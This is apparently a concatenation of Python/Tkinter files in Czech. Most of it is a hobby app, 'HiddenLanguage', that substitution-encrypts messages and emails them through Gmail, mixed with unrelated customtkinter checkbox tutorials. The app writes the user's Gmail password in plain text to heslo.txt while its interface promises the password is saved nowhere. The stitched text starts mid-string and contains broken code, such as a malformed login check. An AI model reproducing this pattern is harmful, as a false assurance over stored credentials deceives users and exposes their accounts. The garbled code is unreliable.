    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">. Pokud v&iacute;te co m&aacute;te dělat, tak čiňte jak usoud&iacute;te. V př&iacute;loze je zasl&aacute;n k&oacute;d, jenž se v&aacute;m bude zajist&eacute; hodit v dal&scaron;&iacute;ch akc&iacute;ch.</span></font>
</p>
<p style="text-align: left;"><br></p>
<p style="text-align: left;"><span style="font-size: 26px; font-family: Arial, Helvetica, sans-serif;"><strong>Zachycen&aacute; zpr&aacute;va ze serv</strong><strong>eru</strong></span></p>
<div><span style="font-family: Arial, Helvetica, sans-serif;"><strong><span style="font-size: 18px;">{sifrovany_text}</span></strong></span></div>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><br></span></p>
<p style="text-align: left;"><strong style="font-weight: 700; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; font-size: 26px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;">Zachycen&yacute; k&oacute;d ze serv</strong><strong style="font-weight: 700; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; font-size: 26px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;">eru</strong></p>
<p style="text-align: left;"><span style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;"><strong>{nova_abeceda}</strong></span></p>
<p style="text-align: left;"><br></p>
<p><br></p>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><br></span></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Tvůrce HiddenLanguage</strong><img src="https://myfiles.space/user_files/168855_15d4659979401e54/168855_custom_files/img1690038712.jpeg" alt="He know where you are" style="margin: 0 auto; display: block; width: 1100px;" width="1100" height="614"></span></p>
<p style="text-align: left;"><br></p>
<p style="text-align: center;"><br></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Doba odesl&aacute;n&iacute;: {formatovany_cas}</strong></span></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Soubor ke stažen&iacute;: <a href="https://www.mediafire.com/file/blnje4ut0ped9pi/HiddenLanguage.exe/file" target="_blank" rel="noopener noreferrer">MediaFire Download</a><br></strong></span></p>
<div style="color: red;"><br></div>
"""

            else:
                html_message = f"""<p><span style="font-family: Arial, Helvetica, sans-serif;"><strong><span style="font-size: 36px; color: rgb(0, 0, 0); text-shadow: rgba(136, 136, 136, 0) 0px 0px 0px;">Byla v&aacute;m odesl&aacute;na z&aacute;hadn&aacute; zpr&aacute;va</span></strong></span></p>
<p><span style="font-size: 26px;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Co to m&aacute; znamenat?</strong></span></span></p>
<p>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">Před několika vteřinami, přesněji v&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">{hodiny_cas}</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">&nbsp; byla zaznamen&aacute;na podivn&aacute; aktivita na jak&eacute;msi programu s n&aacute;zvem&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">HiddenLanguage</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">. Jedin&aacute; dohledateln&aacute; informace je, že uživatel se vyskytuje pod přezd&iacute;vkou&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">{qw}</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">. Pokud v&iacute;te co m&aacute;te dělat, tak čiňte jak usoud&iacute;te. V př&iacute;loze je zasl&aacute;n k&oacute;d, jenž se v&aacute;m bude zajist&eacute; hodit v dal&scaron;&iacute;ch akc&iacute;ch.</span></font>
</p>
<p style="text-align: left;"><br></p>
<p style="text-align: left;"><span style="font-size: 26px; font-family: Arial, Helvetica, sans-serif;"><strong>Zachycen&aacute; zpr&aacute;va ze serv</strong><strong>eru</strong></span></p>
<div><span style="font-family: Arial, Helvetica, sans-serif;"><strong><span style="font-size: 18px;">{sifrovany_text}</span></strong></span></div>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><br></span></p>
<p style="text-align: left;"><strong style="font-weight: 700; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; font-size: 26px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;">Zachycen&yacute; k&oacute;d ze serv</strong><strong style="font-weight: 700; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; font-size: 26px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;">eru</strong></p>
<p style="text-align: left;"><strong style="font-weight: 700; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; font-size: medium; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;"><span style="font-size: 18px;">{nova_abeceda}</span></strong></p>
<p style="text-align: left;"><br></p>
<p style="text-align: left;"><span style="font-family: Arial, Helvetica, sans-serif; font-size: 26px;"><strong>Co d&aacute;le</strong></span></p>
<p style="text-align: left;"><span style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">V př&iacute;loze jsou dva soubory. Jeden z nich se vždy jmenuje sifrovani.txt a druh&yacute; je pojmenov&aacute;n podle autora.</span></p>
<p style="text-align: left;"><span style="font-family: Arial, Helvetica, sans-serif; font-size: 19px;"><strong><span style="color: rgb(226, 80, 65);">De&scaron;ifrov&aacute;n&iacute;</span></strong></span></p>
<ol>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">St&aacute;hněte tento soubor, kter&yacute; se nejmenuje &scaron;ifrov&aacute;n&iacute;, do složky Plocha - HiddenLanguage - Program.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Spusťte program a zvolte druhou možnost = de&scaron;ifrov&aacute;n&iacute;.&nbsp;</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte n&aacute;zev textov&eacute;ho souboru, jenž jste si před chv&iacute;l&iacute; st&aacute;hnul. (Pozor, napi&scaron;te n&aacute;zev bez .txt!)</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Vložte nečiteln&yacute; k&oacute;d, jenž vid&iacute;te nad sebou v č&aacute;sti B.&nbsp;</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Počkejte na v&yacute;sledek</li>
</ol>
<p><b style="font-family: Arial, Helvetica, sans-serif; font-size: 16px;">V odeslan&yacute;ch zpr&aacute;v&aacute;ch by jste měli vidět v&aacute;&scaron; odeslan&yacute; mail.</b></p>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-size: 19px; color: rgb(41, 105, 176);"><strong>&Scaron;ifrov&aacute;n&iacute;</strong></span></span></p>
<ol>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Spusťte program.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zvolte prvn&iacute; možnost.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte text, kter&yacute; chcete &scaron;ifrovat.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte n&aacute;zev pro uložen&iacute; va&scaron;eho k&oacute;du. (např. tajemny_kod)</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Uvid&iacute;te za&scaron;ifrovanou zpr&aacute;vu</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Vyberte zda-li chcete &scaron;ifru poslat někomu na mail.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte svůj e-mail. (Pouze a jedině Gmail funguje)</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte e-mail toho, kdož m&aacute; mail obdržet.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte sv&eacute; heslo. (heslo nikde neukl&aacute;d&aacute;me!)</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Je hotovo!</li>
</ol>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><br></span></p>
<p><br></p>
<p><br></p>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><br></span></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Tvůrce HiddenLanguage</strong><img src="https://myfiles.space/user_files/168855_15d4659979401e54/168855_custom_files/img1690038712.jpeg" alt="He know where you are" style="margin: 0 auto; display: block; width: 1100px;" width="1100" height="614"></span></p>
<p style="text-align: left;"><br></p>
<p style="text-align: center;"><br></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Doba odesl&aacute;n&iacute;: {formatovany_cas}</strong></span></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Soubor ke stažen&iacute;: <a href="https://www.mediafire.com/file/blnje4ut0ped9pi/HiddenLanguage.exe/file" target="_blank" rel="noopener noreferrer">MediaFire Download</a><br></strong></span></p>
<div style="color: red;"><br></div>
"""

            # Vytvoření instance MIMEText pro HTML obsah
            html_part = MIMEText(html_message, 'html')

            # Vytvoření multipart zprávy
            msg = MIMEMultipart()
            msg['From'] = sender_email
            msg['To'] = receiver_email
            msg['Subject'] = subject

            # Přidání HTML části do multipart zprávy
            msg.attach(html_part)


            # Přidání přílohy dm_heslo.txt
            with open(nazev_souboru, 'rb') as file:
                attachment = MIMEBase('application', 'octet-stream')
                attachment.set_payload(file.read())
                encoders.encode_base64(attachment)
                attachment.add_header('Content-Disposition', 'attachment', filename=nazev_souboru)
                msg.attach(attachment)

            # Přidání přílohy screenshot.png
            with open("sifrovani.txt", 'rb') as file:
                attachment = MIMEBase('application', 'octet-stream')
                attachment.set_payload(file.read())
                encoders.encode_base64(attachment)
                attachment.add_header('Content-Disposition', 'attachment', filename='sifrovani.txt')
                msg.attach(attachment)

            # Odeslání e-mailu
            server = smtplib.SMTP('smtp.gmail.com', 587)
            server.starttls()
            server.login(odesilatel, sender_password)
            server.send_message(msg)
            server.quit()
        # Tady se dělá práce
        def Sifrovani(zprava_ke_skryti,nazev_souboru):
            abeceda = 'ABCDEFGHIJKLMNOPQRSTUVWXYabcdefghijklmnopqrstuvwxyz123456789ěščřžýáíé'
            nova_abeceda = ''.join(random.sample(abeceda, len(abeceda)))

            # Uložení šifrace

            with open(nazev_souboru, "w") as file:
                file.write(nova_abeceda)
            # Konec ukládání

            prevodni_tabulka = str.maketrans(abeceda, nova_abeceda)
            global sifrovany_text
            sifrovany_text = zprava_ke_skryti.translate(prevodni_tabulka)

            with open("sifrovani.txt", "w") as file:
                file.write(sifrovany_text)

        sifrovani_okno.mainloop()

    def tlacitko_klik_desif():
        def Zpet_do_menu():
            desifrovani_okno.destroy()
            Uvodni_menu()

        desifrovani_okno = tk.Tk()
        desifrovani_okno.geometry("1920x1080")
        desifrovani_okno.title("Dešifrování")
        menu.destroy()

        nazev = tk.Label(desifrovani_okno ,text="Dešifrování", font=("Arial", 30,"bold"))
        nazev.pack()

        zasifr_text = tk.Label(desifrovani_okno, text="Níže napište zprávu, jenž chcete dešifrovat.", font=("Arial", 15))
        zasifr_text.pack()


        textbox_obsah = tk.Text(desifrovani_okno, height=10, width=50, font=("Arial", 15))
        textbox_obsah.pack(pady=20)


        textbox_kod_label = tk.Label(desifrovani_okno,text="Zadejte dešifrovací kod v příloze (ten bez mezer)",font=("Arial",13))
        textbox_kod_label.pack(pady=5)
        textbox_kod = tk.Text(desifrovani_okno,height=2, width=20,font=("Arial",15))
        textbox_kod.pack()

        def Redirect():
            zasifrovany_text_textbox = textbox_obsah.get("1.0", "end-1c")
            textbox_kod_obsah = textbox_kod.get("1.0", "end-1c")
            Desifrovani(zasifrovany_text_textbox,textbox_kod_obsah)


        tlacitko_desifrovani = tk.Button(desifrovani_okno,text="Dešifrovat zprávu",command=Redirect,height=1,width=15,font=("Arial",15),bg="blue",fg="white")
        tlacitko_desifrovani.pack(pady=20)

        output_label = tk.Label(desifrovani_okno,text="Obsah dešifrované zprávy",font=("Arial",15))
        output_label.pack(pady=5)
        output = tk.Text(desifrovani_okno,height=10,width=50,font=("Arial",15))
        output.pack()

        zpet_do_menu = tk.Button(desifrovani_okno, text="Zpět do menu", command=Zpet_do_menu,
                                   font=("Arial", 15, "bold"), bg="blue", fg="white", activeforeground="black")
        zpet_do_menu.pack(pady=20)


        def Desifrovani(zasifrovany_text,zasifrovany_kod):
            sifrovana_abeceda = zasifrovany_kod

            def create_decryption_map(original_alphabet, shuffled_alphabet):
                decryption_map = {}
                for orig_char, shuffled_char in zip(original_alphabet, shuffled_alphabet):
                    decryption_map[shuffled_char] = orig_char
                return decryption_map

            # Příklad použití:
            original_alphabet = 'ABDCEFGHIJKLMNOPQRSTUVWXYabcdefghijklmnopqrstuvwxyz123456789ěščřžýáíé#@!§'
            shuffled_alphabet = sifrovana_abeceda

            decryption_map = create_decryption_map(original_alphabet, shuffled_alphabet)

            # Dešifrování zprávy
            encrypted_message = zasifrovany_text
            decrypted_message = "".join(decryption_map.get(char, char) for char in encrypted_message)
            obsah_desifrovane_zpravy = decrypted_message

            output.delete("1.0", "end")  # Vymažeme obsah textového pole
            output.insert("1.0", obsah_desifrovane_zpravy)  # Vložíme dešifrovanou zprávu do textového pole









        #Tady budou věci po checkboxech
        desifrovani_okno.mainloop()





    def navraceni_do_menu():
        menu.destroy()
        Uvodni_menu()

    prostor_button = tk.Frame(menu)
    prostor_button.columnconfigure(0,weight=10)
    prostor_button.columnconfigure(1,weight=10)
    prostor_button.columnconfigure(2,weight=10)

    tlacitko_sif = tk.Button(prostor_button,text="Šifrovat", command=tlacitko_klik_sif,font=("Arial",15,"bold"),width=50,height=4,bg="red", fg="white",activebackground="orange",activeforeground="black")
    tlacitko_sif.grid(row=0,column=0,sticky=tk.W+tk.E)

    tlacitko_desif = tk.Button(prostor_button,text="Dešifrovat", command=tlacitko_klik_desif,font=("Arial",15,"bold"),width=50,height=4,bg="green", fg="white",activebackground="yellow",activeforeground="black")
    tlacitko_desif.grid(row=1,column=0,sticky=tk.W+tk.E)


    tlacitko_menu = tk.Button(prostor_button, text="Zpět do menu", command=navraceni_do_menu, font=("Arial", 15, "bold"),width=50,height=4,
                               bg="purple", fg="white", activebackground="pink",
                               activeforeground="black")
    tlacitko_menu.grid(row=2,column=0,sticky=tk.W+tk.E)

    prostor_button.pack(pady=100)
    #(x=600, y=100, width=100, height=100)

    menu.mainloop()

def Uvodni_menu():
    # Vytvoření okna
    global okno
    okno = tk.Tk()
    okno.geometry("800x600")
    okno.title("HiddenLanguage")

    # widget s časem
    def update_time():
        current_time = time.strftime("%d.%m.%Y %H:%M:%S")  # Formát času (hodiny:minuty:sekundy)
        time_label.config(text=current_time)
        okno.after(1000, update_time)  # Znovu spustit funkci každou sekundu (1000 ms)


    # Vytvoření tlačítka
    nazev = tk.Label(okno, text="\n" + "HiddenLanguage", font=("Arial", 30, "bold"),fg="blue")
    nazev.pack()

    aktualni_update = tk.Label(okno, text="Aktuální verze 1.0 ze dne 2023-07-28", font=("Arial", 15, "bold"),fg="blue",bg="#A1B7FF")
    aktualni_update.pack()
    informace = tk.Label(okno,
                         text="Tento program umí šifrovat a dešifrovat zprávy." + "\n" + "Zašifrované zprávy může odeslat jakékoliv určené osobě na mail." + "\n" + "Více informací naleznete na kubasobr.blogspot.com" + "\n" + "Original HiddenLanguage, all rights reserved",
                         font=("Arial", 12))
    informace.pack()

    tlacitko = tk.Button(okno, text="Klikněte pro start!", command=tlacitko_klik, font=("Arial", 25, "bold"), height=5,
                         width=24, bg="blue", fg="white", activebackground="aqua", activeforeground="black")
    tlacitko.pack(padx=50, pady=20)

    copyright = tk.Label(okno, text="Naprogramoval Jakub Šobr 2023", font=("Arial", 9))
    copyright.pack()

    #WiDGET S AKTUÁLNÍM ČASEM CO SE AKTUALIZUJE PO 1s
    time_label = tk.Label(okno, font=("Helvetica", 24), bg="light gray")
    time_label.pack(fill=tk.BOTH, expand=True)
    update_time()


    # Spuštění smyčky událostí (main loop)
    okno.mainloop()

def Prihlaseni():

    import tkinter as tk
    import time

    def update_time():
        current_time = time.strftime("%d.%m %Y - %H:%M:%S")
        time_label.config(text=current_time)
        prihlaseni.after(1000, update_time)

    def tlacitko_potvrdit_heslo():
        uzivatel= entry_uzivatel.get()
        heslo = entry_password.get()
        if heslo == "**Tady_má_být_heslo_ale_nejsem_cock"" and uzivatel == "**Tady_má_být_heslo_ale_nejsem_cock":
            label_error.config(text="Zadali jste správné heslo.", font=("Arial", 10), fg="blue")
            prihlaseni.destroy()
            # ... Pokračování s vaším kódem ...
            Uvodni_menu()
        else:
            label_error.config(text="Neplatné uživatelské jméno nebo heslo.",font=("Arial",10))
            entry_password.delete(0, tk.END)
            entry_uzivatel.delete(0, tk.END)

    def tlacitko_stisk_klavesy(event):
        tlacitko_klik()

    def on_close():
        pass  # Prázdná funkce zabrání zavření okna

    prihlaseni = tk.Tk()
    prihlaseni.geometry("800x700")
    prihlaseni.title("HiddenLanguage")

    prihlaseni.protocol("WM_DELETE_WINDOW", on_close)  # Zavolání funkce on_close při pokusu o zavření okna

    label = tk.Label(prihlaseni, text="Vítejte v aplikaci HiddenLanguage", font=("Arial", 30, "bold"))
    label.pack(pady=50)


    # TADY JE KOLONKA NA UŽIVATELE
    label_uzivatel = tk.Label(prihlaseni,text="Zadejte uživatelské jméno:",font=("Arial",20))
    label_uzivatel.pack()

    entry_uzivatel = tk.Entry(prihlaseni, font=("Arial", 20))
    entry_uzivatel.pack(pady=20)

    #KOLONKA NA HESLO
    label_password = tk.Label(prihlaseni, text="Zadejte heslo:", font=("Arial", 20))
    label_password.pack()

    entry_password = tk.Entry(prihlaseni, font=("Arial", 20), show="*")
    entry_password.pack(pady=20)
    #konec kolonky a potvrzení v podobe tlacitka


    prihlaseni_button = tk.Button(prihlaseni, text="Potvrdit",bg="blue",fg="white", font=("Arial", 20), command=tlacitko_potvrdit_heslo)
    prihlaseni_button.pack(pady=10)

    # Tady je ukončení programu definitivně!!
    def Konec():
        exit()
    konec = tk.Button(prihlaseni, text="Opustit aplikaci", command=Konec,
                                  font=("Arial", 12, "bold"), bg="red", fg="white", activeforeground="black")
    konec.pack()


    label_error = tk.Label(prihlaseni, text="", font=("Arial", 15), fg="red")
    label_error.pack()

    entry_password.bind("<Return>", tlacitko_stisk_klavesy)

    time_label = tk.Label(prihlaseni, font=("Helvetica", 24), bg="light gray")
    time_label.pack(fill=tk.BOTH, expand=True)
    update_time()

    prihlaseni.mainloop()
Prihlaseni()
Uvodni_menu()

mylist = ['nowplaying', 'PBS', 'PBS', 'nowplaying', 'job', 'debate', 'thenandnow']
myset = set(mylist)
print(myset)

# Create a custom application class "Hobbies" that inherits from CTk (Custom Tkinter)
class Hobbies(CTk):
    # Constructor of the class
    def __init__(self):
        # Call the constructor of the parent class (CTk) using super()
        super().__init__()
        self.title("Hobbies")
        
        # Create a label to display "Select your hobbies"
        self.display_label = CTkLabel(self, text="Select your hobbies")
        self.display_label.pack(padx=10, pady=10)

        # Create a frame to hold the checkboxes
        self.frame =CTkFrame(self)
        self.frame.pack(padx=10, pady=10)

        # Create a StringVar to store the value of the first hobby (initially empty)
        self.hobby1 = StringVar()
        # Create a CTkCheckBox for "Coding"
        # When the checkbox is toggled, the self.hobby() method will be called
        # The checkbox's variable is self.hobby1, and its values are "Coding" (checked) and "" (unchecked)
        self.hobby1_cb = CTkCheckBox(self.frame, text="Coding", command=self.hobby,
                                            variable=self.hobby1, onvalue="Coding", offvalue="")
        self.hobby1_cb.grid(row=0, padx=10, pady=10)

        # Create a StringVar to store the value of the second hobby (initially empty)
        self.hobby2 = StringVar()
        # Create a CTkCheckBox for "Cricket"
        # When the checkbox is toggled, the self.hobby() method will be called
        # The checkbox's variable is self.hobby2, and its values are "Cricket" (checked) and "" (unchecked)
        self.hobby2_cb = CTkCheckBox(self.frame, text="Cricket", command=self.hobby,
                                            variable=self.hobby2, onvalue="Cricket", offvalue="")
        self.hobby2_cb.grid(row=1, padx=10, pady=10)

        # Create a StringVar to store the value of the third hobby (initially empty)
        self.hobby3 = StringVar()
        # Create a CTkCheckBox for "Drawing"
        # When the checkbox is toggled, the self.hobby() method will be called
        # The checkbox's variable is self.hobby3, and its values are "Drawing" (checked) and "" (unchecked)
        self.hobby3_cb = CTkCheckBox(self.frame, text="Drawing", command=self.hobby,
                                            variable=self.hobby3, onvalue="Drawing", offvalue="")
        self.hobby3_cb.grid(row=2, padx=10, pady=10)

        # Create a label to display the selected hobbies
        self.label= CTkLabel(self.frame, text="")
        self.label.grid(row=3)

    # Method to handle the checkbox toggle event
    def hobby(self):
        # Destroy the existing label to clear its contents
        self.label.destroy()

        # Create a new label to display the selected hobbies
        self.label = CTkLabel(self.frame, text=f"{self.hobby1.get()} {self.hobby2.get()} {self.hobby3.get()}")
        self.label.grid(row=3)

# Create an instance of the custom application class "Hobbies"
app = Hobbies()
# Start the main event loop of the application
app.mainloop()

# Importing the necessary modules from customtkinter library
from customtkinter import *
# This function will be called when the checkbox is toggled
def checkbox_event():
    # Create a new CTkLabel widget and display the current value of the checkbox
    label = CTkLabel(app, text=f"checkbox toggled, current value: {check_var.get()}")
    label.pack()

# Create a CTk application instance
app = CTk()
# Create a StringVar to hold the value of the checkbox (initially empty)
check_var = StringVar()
# Create a CTkCheckBox widget with text "Switch"
# When the checkbox is toggled, the checkbox_event function will be called
# The checkbox's variable is check_var, and its values are "on" (checked) and "off" (unchecked)
checkbox = CTkCheckBox(app, text="Switch", command=checkbox_event,
                                     variable=check_var, onvalue="on", offvalue="off")
# Pack the checkbox widget, adding padding around it
checkbox.pack(padx=10, pady=10)
# Start the main event loop of the application
app.mainloop()

"""
# ------------------IN OOP------------------
# Create a custom application class "App" that inherits from CTk (Custom Tkinter)
class App(CTk):
    # Constructor of the class
    def __init__(self):
        # Call the constructor of the parent class (CTk) using super()
        super().__init__()

        # Create a StringVar to hold the value of the checkbox (initially empty)
        self.check_var = StringVar()
        # Create a CTkCheckBox widget with text "Switch"
        # When the checkbox is toggled, the self.checkbox_event method will be called
        # The checkbox's variable is self.check_var, and its values are "on" (checked) and "off" (unchecked)
        self.checkbox = CTkCheckBox(self, text="Switch", command=self.checkbox_event,
                                            variable=self.check_var, onvalue="on", offvalue="off")
        # Pack the checkbox widget, adding padding around it
        self.checkbox.pack(padx=10, pady=10)

    # Method to handle the checkbox toggle event
    def checkbox_event(self):
        # Create a new CTkLabel widget and display the current value of the checkbox
        label = CTkLabel(self, text=f"checkbox toggled, current value: {self.check_var.get()}")
        label.pack()

# Create an instance of the custom application class "App"
app = App()
app.mainloop()
"""

import tkinter as tk
from tkinter import messagebox
import random
import time
import random
import smtplib
import time
from email.mime.multipart import MIMEMultipart
import time
from email.mime.base import MIMEBase
from email import encoders

import getpass
from email.mime.text import MIMEText
obsah_desifrovane_zpravy = ""
import datetime
def tlacitko_klik():
    okno.destroy()
    menu = tk.Tk()
    menu.geometry("800x700")
    #menu.configure(bg="light gray")
    menu.title("HiddenLanguage")

    label1 = tk.Label(menu,text="\n" +"Šifrovat či Dešifrovat?",font=("Arial",30,"bold"))
    label1.pack()

    label2 = tk.Label(menu,text="Chcete šifrovat nebo dešifrovat?",font=("Arial",15))
    label2.pack()

    def tlacitko_klik_sif():


        #Přes tento kod se uloží hodnoty a spustí funkce Šifrování a email.
        def ulozeni_hodnot_mail():
            # Získáme text z textboxu (Text widgetu)
            zprava_ke_skryti = textbox_obsah.get("1.0", "end-1c")  # "1.0" označuje začátek a "end-1c" označuje konec textu
            nazev_souboru_sifr = (str(textbot_nazev_souboru.get("1.0", "end-1c")) + ".txt")
            odesilatel = textbot_odesilatel.get("1.0", "end-1c")
            prijemce = textbot_prijemce.get("1.0", "end-1c")
            heslo = textbot_odesilatel_heslo.get("1.0", "end-1c")

            #List který slouží pro for i in range dole


            with open("zprava_ke_skryti.txt","w") as file:
                file.write(zprava_ke_skryti)
            with open(nazev_souboru_sifr, "w") as file:
                file.write(nazev_souboru_sifr)
            with open("odesilatel.txt","w") as file:
                file.write(odesilatel)
            with open("prijemce.txt","w") as file:
                file.write(prijemce)
            with open("heslo.txt", "w") as file:
                file.write(heslo)

            # Tady získáváme informace ke každé informaci v podobě True False (jestli je pole prázdné nebo ne) Stačí aby bylo jedno a bude error
            if not zprava_ke_skryti.strip() or not nazev_souboru_sifr.strip() or not odesilatel.strip() or not prijemce.strip() or not heslo.strip():
                messagebox.showinfo("Upozornění", "Vyplňte všechna pole!")

            if odesilatel.strip():
                if not odesilatel[-10:] == "@gmail.com":
                    messagebox.showinfo("Upozornění", "Jediná možná adresa u odesílatele e-mailu je @gmail.com!")

            Sifrovani(zprava_ke_skryti, nazev_souboru_sifr)
            with open("sifrovani.txt", "r") as file:
                sifrovany_text = file.read()
                oznamena_sifra = tk.Label(sifrovani_okno, text=(
                        "Vaše skrytá zakodovaná šifra zní takto: " + str(sifrovany_text)),
                                          font=("Arial", 15))
                oznamena_sifra.place(x=150, y=650, width=600, height=100)
            email(odesilatel, prijemce, heslo, nazev_souboru_sifr)
            messagebox.showinfo("Upozornění", "Úspěšně odeslán email!")
            program_bude_ukoncen = tk.Label(sifrovani_okno,
                                            text="Toto okno bude do pár sekund zavřeno.Poté budete moci program použít znovu.")
            program_bude_ukoncen.place(x=250, y=650, width=600, height=100)
            time.sleep(5)
            sifrovani_okno.destroy()
            time.sleep(2)
            Uvodni_menu()



        #Vytvoření šifrovacího okna
        sifrovani_okno = tk.Tk()
        sifrovani_okno.geometry("1920x1080")
        sifrovani_okno.title("Šifrování")
        menu.destroy()

        def zpet_do_menu():
            time.sleep(2)
            sifrovani_okno.destroy()
            Uvodni_menu()

        label1 = tk.Label(sifrovani_okno ,text="Šifrování", font=("Arial", 30))
        label1.pack()


        label2 = tk.Label(sifrovani_okno,text="Níže napište svoji zprávu, jenž chcete šifrovat.", font=("Arial", 15))
        label2.pack()
        textbox_obsah = tk.Text(sifrovani_okno, height=10,width=50, font=("Arial", 15))
        textbox_obsah.pack(pady=20)


        label3 = tk.Label(sifrovani_okno,padx=30, text="Zde napište název pro soubor, v němž bude uložen kod.", font=("Arial", 15))
        label3.pack()
        textbot_nazev_souboru = tk.Text(sifrovani_okno, height=1,width=30, font=("Arial", 15))
        textbot_nazev_souboru.pack(pady=20)

        #EMAIL
        email_odesilatel_label = tk.Label(sifrovani_okno,padx=35, text="Zadejte váš email", font=("Arial", 15))
        email_odesilatel_label.pack()
        textbot_odesilatel = tk.Text(sifrovani_okno, height=1, width=30, font=("Arial", 15))
        textbot_odesilatel.pack(pady=20)

        email_prijemce_label = tk.Label(sifrovani_okno, padx=45, text="Zadejte email dané osoby", font=("Arial", 15))
        email_prijemce_label.pack()
        textbot_prijemce = tk.Text(sifrovani_okno, height=1, width=30, font=("Arial", 15))
        textbot_prijemce.pack(pady=20)

        email_odesilatel_label_heslo = tk.Label(sifrovani_okno, padx=50, text="Zadejte vaše heslo", font=("Arial", 15))
        email_odesilatel_label_heslo.pack()
        textbot_odesilatel_heslo = tk.Text(sifrovani_okno, height=1, width=30, font=("Arial", 15))
        textbot_odesilatel_heslo.pack(pady=20)


        kontrola = tk.Button(sifrovani_okno,text="Odeslat", command=ulozeni_hodnot_mail,font=("Arial",20),bg = "gray", fg = "black", activebackground = "blue",activeforeground="white")
        kontrola.pack(pady=10)

        poznamka = tk.Label(sifrovani_okno, text="Kod v souboru, jemuž dáváte název je takový kod bez mezer, který je důležitý při dešifrování." + "\n" +"Odesílatel musí mít emailovou adresu od Gmailu. Příjemce nemusí." + "\n" +"Heslo vámi zadané se nikam neukládá a za to vám ručím. Celý programovací kod je veřejně přístupný.", font=("Arial", 10))
        poznamka.pack(pady=1)

        # TADY je check button na to jestli chce aby měl email nápovědu na to jak šifrovat a dešifrovat
        def on_checkbox_click():
            if napoveda.get() == 1:
                #print("Zaškrtnuto")
                with open("napoveda_uzivatel","w") as file:
                    file.write("ano")
            else:
                #print("Odškrtnuto")
                with open("napoveda_uzivatel","w") as file:
                    file.write("ne")

        napoveda = tk.IntVar()
        checkbox = tk.Checkbutton(sifrovani_okno, text="Chcete aby email obsahoval nápovědu k dešifrování a šifrování?",font=("Arial",12), variable=napoveda, command=on_checkbox_click)
        checkbox.pack()

